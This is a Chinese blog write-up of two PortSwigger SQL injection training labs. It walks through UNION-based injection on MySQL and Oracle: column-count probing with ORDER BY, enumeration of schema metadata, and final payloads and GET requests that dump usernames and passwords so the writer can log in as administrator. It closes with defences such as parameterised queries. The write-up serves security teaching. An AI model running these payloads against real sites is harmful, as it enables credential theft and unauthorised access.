PortSwigger SQL注入LAB5  LAB6
断列数最后把数据库中的结构信息回显到页面里。但它们的数据库环境并不一样一题侧重 MySQL另一题侧重 Oracle。正因为如此注释符、系统视图这些细节会有差别所以我把这两个 LAB 放在一起来分享也顺便做个对比。LAB5描述LAB6描述【本篇目标】先用 MySQL 题目演示一下我是怎么从列数探测一路做到字段枚举最后拿到 administrator 的密码并登录的。再补一段 Oracle 分支看看同样的题目在 Oracle 中换一种思路是怎样的。一、先记住这类题的通用思路这类 UNION 注入题的主线其实不复杂我一般会把它概括成四步确认注入点通常是一个看起来普通的分类参数。通过 ORDER BY n 判断原查询有几列。用 NULL 对齐列数再尝试把敏感数据带到可回显的列里。根据数据库类型调整注释符和系统函数。如果把这四步牢牢记住后面再看到相似题型时基本就是在切换数据库语法而不是重新发明一套打法。二、MySQL 分支通过列名拿到密码LAB主页LAB登录界面先看 MySQL 这道题。页面上的注入点仍然是 /filter?category…我先把后端查询大致推测出来SELECT * FROM products WHERE category ‘Gifts’2.1 探测列数为了让 UNION 语句成立我得先知道原查询有几列。这里我用 ORDER BY n 逐步测试’ ORDER BY 1–’ ORDER BY 2–’ ORDER BY 3–Burp Suite 抓取结果2当 ORDER BY 3 报错时就说明原查询只有 2 列。这一步是后面所有 UNION 注入的前提。【注释符提醒】MySQL 中 – 后面要保留空格如果在 URL 里直接用记得把空格写成 或 %20。本篇后续示例统一用 – 书写方便阅读。2.2 从信息架构里找字段这道题的核心不是直接猜表名而是先枚举数据库元数据。information_schema.columns 里面保存了列名信息所以我先拿它来找用户名和密码字段Burp Suite 抓取结果3SELECT * FROM products WHERE category ‘’ UNION SELECT NULL, column_name FROM information_schema.columns –筛选结果里会出现两个很显眼的字段username_vadgwn 和 password_txeztd。2.3 反查表名拿到列名之后我再反查它们来自哪个表SELECT * FROM products WHERE category ‘’ UNION SELECT NULL, table_name FROM information_schema.columns WHERE column_name ‘username_vadgwn’ –SELECT * FROM products WHERE category ‘’ UNION SELECT NULL, table_name FROM information_schema.columns WHERE column_name ‘password_txeztd’ –Burp Suite 抓取结果4Burp Suite 抓取结果5两次查询都指向同一个表 users_teluls说明凭据都存放在这里。2.4 回显用户名和密码既然已经确认表名我就可以把用户名和密码直接拼到 UNION 结果里SELECT * FROM products WHERE category ‘’ UNION SELECT username_vadgwn, password_txeztd FROM users_teluls –最终请求可以写成GET /filter?category’ UNION SELECT username_vadgwn,password_txeztd FROM users_teluls -- HTTP/2Burp Suite 抓取结果6把回显结果中的 administrator 密码填回登录页就能直接通过认证。攻击成功【MySQL 分支 Payload】’ UNION SELECT username_vadgwn,password_txeztd FROM users_teluls –三、Oracle 分支通过表名拿到密码Oracle 题和上面的 MySQL 题思路几乎相同不过我想换一种方法也就是先查表名再通过列名来验证是否为正确目标。3.1 查询表名在 MySQL 中我们是通过“人肉扫描”的办法来寻找可疑项的这一次我打算改成用 LIKE 搭配通配符来做模糊搜索。还有一点要注意的是大小写问题。为了防止大小写不一致导致查询结果缺失这里我用了一个 upper 函数把 table_name 转成大写这样搜索时就不会区分大小写了。SELECT * FROM products WHERE category ‘’ UNION SELECT NULL, table_name FROM all_tables WHERE upper(table_name) LIKE ‘%USER%’ –Burp Suite 抓取结果7通过模糊搜索表名我找到了可疑表名 USERS_NRCXBC。3.2 检索列名接下来我再看一下表中的列是不是我要找的用户名和密码。SELECT * FROM products WHERE category ‘’ UNION SELECT NULL, column_name FROM all_tab_columns WHERE table_name ‘USERS_NRCXBC’ –Burp Suite 抓取结果8可以看到表中的列名分别为 EMAIL、PASSWORD_EBXMBT、USERNAME_MUXIWC说明凭据确实存放在这张表里。3.3 回显用户名和密码确定了表名和列名之后我就可以把用户名和密码直接拼到 UNION 结果里了SELECT * FROM products WHERE category ‘’ UNION SELECT USERNAME_MUXIWC, PASSWORD_EBXMBT FROM USERS_NRCXBC –最终请求可以写成GET /filter?category’ UNION SELECT USERNAME_MUXIWC,PASSWORD_EBXMBT FROM USERS_NRCXBC -- HTTP/2Burp Suite 抓取结果9把回显结果中的 administrator 密码填回登录页就能直接通过认证。攻击成功2【Oracle 分支 Payload】’ UNION SELECT USERNAME_MUXIWC,PASSWORD_EBXMBT FROM USERS_NRCXBC –四、两者的区别如果把这两道题放在一起看最容易混淆的地方其实不是 UNION 的写法而是数据库环境的切换。前面的操作步骤看起来差不多但真正落地时我还是得跟着数据库类型去调整注释符、系统视图和回显思路。对比项 MySQL 分支 Oracle 分支注释符 常用 – 注意后面要带空格 同样可以用 – 但更要留意 URL 编码元数据视图 主要看 information_schema.columns 主要看 all_tables 和 all_tab_columns查询思路 先找列名再反查表名最后回显用户名和密码 先模糊匹配表名再确认列名最后把目标字段直接拼进 UNION所以本质上它们还是同一道类型题先确认注入点再判断列数再按数据库语法去找元数据。只要把这个顺序稳住后面换成别的数据库也只是细节在变思路不会变。五、总结与防御建议这两道实验都属于 UNION 联合查询注入它们共同暴露出的问题也很一致用户输入直接拼接进 SQL错误信息被回显数据库元数据也没有被限制。根本成因我整理成三点产品类别过滤器参数被直接拼接到 SQL 语句中未做安全处理应用将数据库错误直接回显给客户端为列数探测和结构枚举提供反馈数据库账户和敏感表结构缺乏最小权限隔离导致凭据或版本信息可被直接读取。防御措施我也简单列一下参数化查询 —— 将 SQL 代码与用户数据彻底分离关闭详细错误回显 —— 生产环境屏蔽数据库报错细节避免泄露结构信息限制系统元数据访问 —— 对 information_schema 等元数据视图进行访问控制最小权限原则 —— 数据库账户仅授予必要权限统一审计和告警 —— 对高频的 ORDER BY、UNION、系统视图访问行为做监控。

相关新闻

Unity 2021.3与Pico SDK 230实现VR手势交互开发全流程

Unity 2021.3与Pico SDK 230实现VR手势交互开发全流程

1. 项目概述:为什么选择手势交互?最近在做一个面向Pico Neo 3/4的VR项目,客户明确要求“去手柄化”,希望用户能像电影里那样,直接用手势来操作界面、抓取物体。这其实反映了当前VR内容发展的一个趋势:从依赖…

2026/10/4 8:03:27 阅读更多 →
VMware安装CentOS7完整指南与优化配置

VMware安装CentOS7完整指南与优化配置

1. 项目概述在虚拟化技术普及的今天,使用VMware Workstation(简称VM)安装CentOS7仍然是许多开发者和运维人员的首选方案。作为一名长期使用Linux系统的老鸟,我完整记录了从镜像下载到系统配置的全过程,特别针对国内网络…

2026/10/14 3:47:43 阅读更多 →
信创环境下内网考试系统部署与安全实践

信创环境下内网考试系统部署与安全实践

1. 信创背景下的内网考试系统需求分析在数字化转型和国产化替代的大背景下,部队及涉密单位对内部考试培训系统的需求呈现出明显的特殊性。传统基于互联网的SaaS考试平台已无法满足这类单位对数据安全、系统可控性和国产化适配的严格要求。核心需求痛点主要体现在三个…

2026/10/12 21:14:54 阅读更多 →

最新新闻

C#调用WebService获取PDF转图片:选型与踩坑实战

C#调用WebService获取PDF转图片:选型与踩坑实战

做C#开发这几年,遇到“调用WebService获取PDF文件再转换为图片”这种需求不算少。可能是一个审批系统需要预览合同,也可能是一个报表平台需要把服务端生成的文件转成缩略图展示。总之核心工作就两件事:把远程文件拿下来,再在本地转…

2026/10/14 6:40:29 阅读更多 →
Unity Spark实战:在浏览器中用AI自然语言快速做游戏原型

Unity Spark实战:在浏览器中用AI自然语言快速做游戏原型

看到“Unity Spark 正式发布”这条消息的时候,我第一反应是:又来了。这年头但凡和 AI 沾边的工具都在喊“原生支持 AI”,口号早就被用烂了。但等我真正在浏览器里打开这个基于 AI 的游戏开发环境,亲手生成一个场景、跑通一次跳跃、…

2026/10/14 6:40:29 阅读更多 →
仓颉语言属性(prop)完全指南:getter/setter 定义、抽象属性与继承覆盖实战

仓颉语言属性(prop)完全指南:getter/setter 定义、抽象属性与继承覆盖实战

文档编程语言 【免费下载链接】cangjie_docs 仓颉编程语言开发者文档。 项目地址: https://gitcode.com/Cangjie/cangjie_docs 点击查看 免费下载 属性(Properties)是仓颉语言中用于间接获取和设置值的语言机制:它通过一个 gette…

2026/10/14 6:40:29 阅读更多 →
从Node到Bun:JavaScript运行时与工具链的工程效率革命

从Node到Bun:JavaScript运行时与工具链的工程效率革命

1. 为什么我把重心从 Node 切到了 Bun先说结论:Bun 不是又一个跑得更快的 Node,它是一整套重新设计过的 JavaScript 运行时和工具链。我最初对它的态度是观望,因为这类"下一代运行时"的宣发见过太多次了,但真正在几个中…

2026/10/14 6:40:29 阅读更多 →
C#对接WebService拉取PDF并转图片:从接口调到部署避坑

C#对接WebService拉取PDF并转图片:从接口调到部署避坑

前一阵接手一个对接任务,对方是个运行了十多年的老系统,只对外暴露SOAP风格的WebService接口。业务要求很直接:通过这个接口把PDF文件拉到我们这边,再转成图片,放到Web端做在线预览和打印存档。这类需求在C#开发里非常…

2026/10/14 6:40:29 阅读更多 →
纯Python实现猜数字游戏:从零到避坑的完整指南

纯Python实现猜数字游戏:从零到避坑的完整指南

猜数字游戏大概是很多人的第一个编程项目。它不像计算器那样枯燥,也不需要复杂的界面,但一套完整流程走下来,变量、输入输出、条件判断、循环、异常处理这些编程入门核心概念全部能练到。我最近又把这个小项目从头写了一遍,用最基…

2026/10/14 6:39:29 阅读更多 →

日新闻

AnyPS5通用适配层设计:兼容性与性能的工程取舍

AnyPS5通用适配层设计:兼容性与性能的工程取舍

1. 从"AnyPS5"这个名字说起:它到底想解决什么问题第一次看到"AnyPS5"这个标题,我脑子里冒出来的第一个念头是:这大概率是一个围绕"跨平台运行"或者"通用适配"做文章的项目。名字里的"Any"…

2026/10/14 0:00:41 阅读更多 →
Flutter跨平台开发实战:二手交易应用与HarmonyOS适配

Flutter跨平台开发实战:二手交易应用与HarmonyOS适配

1. 项目概述:Flutter跨平台二手交易应用开发作为一名长期从事移动应用开发的工程师,我最近完成了一个基于Flutter框架的二手物品交易平台项目。这个项目最吸引我的地方在于它完美结合了Flutter的跨平台优势与HarmonyOS的生态特性,实现了"…

2026/10/14 0:00:41 阅读更多 →
DFS算法解决飞机降落调度问题实战

DFS算法解决飞机降落调度问题实战

1. 项目背景与核心思路飞机降落问题是一个经典的调度优化场景,也是算法竞赛和面试中的高频题目。这个题目要求我们合理安排多架飞机的降落顺序和时间,确保所有飞机都能安全着陆而不发生冲突。在实际航空管制中,这类问题直接关系到飞行安全和机…

2026/10/14 0:00:41 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/14 3:30:28 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/13 16:22:04 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/14 3:29:58 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/13 22:01:27 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/13 14:57:39 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/12 18:11:17 阅读更多 →